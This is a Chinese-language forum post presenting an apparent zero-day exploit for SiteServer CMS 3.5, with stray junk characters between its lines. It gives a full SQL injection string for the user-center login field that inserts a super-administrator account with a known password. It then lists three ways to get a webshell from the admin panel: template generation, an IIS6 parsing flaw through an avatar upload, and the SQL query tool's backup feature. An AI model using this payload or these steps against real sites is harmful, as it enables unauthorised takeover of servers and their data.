SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

. E6 T2 C( q6 R2 m* _, ostieserver官网:www.siteserver.cn


2 @) ?( Q( i7 i4 s* i+ H% r
EXP:
% o2 a% B; a- t- }3 K/ G0 K1 |
: L4 Q+ q* c$ Q- l5 ]直接访问UserCenter/login.aspx
% x. E+ ?2 `+ ^2 n) A* m
' k$ u+ w" h& m# ]& H# x
! M" q( e) b/ h$ Z- V
用户名处输入：

123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
: a. L+ P; `/ f8 I( S! M, Q
0 u3 e8 ]: N; m4 T  c

" m1 Z1 x3 _% l/ a密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
" e! Q! c; [2 {7 e# b) P& a! H5 c. R

% @8 x9 N# [: E
7 z1 s; U/ {3 I之后再访问后台SiteServer/login.aspx用插入的用户登陆
9 k5 h7 R0 c# F' K* F- q
& ^1 n" n  f' V7 x! R* S

- v8 @8 \0 P# |9 n后台拿webshell的三种方法：
# o% r- p* `, n2 R
1 A4 x9 c8 s( Y3 {% [  O! |2 l" h; i1 j一、

- E' `5 q( a: ^+ ]站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

" s0 h1 I; j( f0 t二、
" Q3 {- X& b6 V
成员权限-》添加用户-》用户名为：1.asp

) V3 |  T' f3 b4 J0 jhttp://127.0.0.1/usercenter/

+ O9 s" D. `( g) g用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
& S# R, S+ ]$ |: T# w6 y( _% `
（ps：后台添加用户时不会验证是否含有非法字符）

三、
0 v9 ^) [. L$ i/ d
系统工具-》实用工具-》机器参数查看
可以看到数据库类型、名称，WEB路径

3 F+ w1 Y- T7 g9 t5 n系统工具-》数据库工具-》SQL语句查询
% b  Y3 Z# r. G8 y) j" L0 e这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。

$ l5 [) S5 k( s" q' }9 _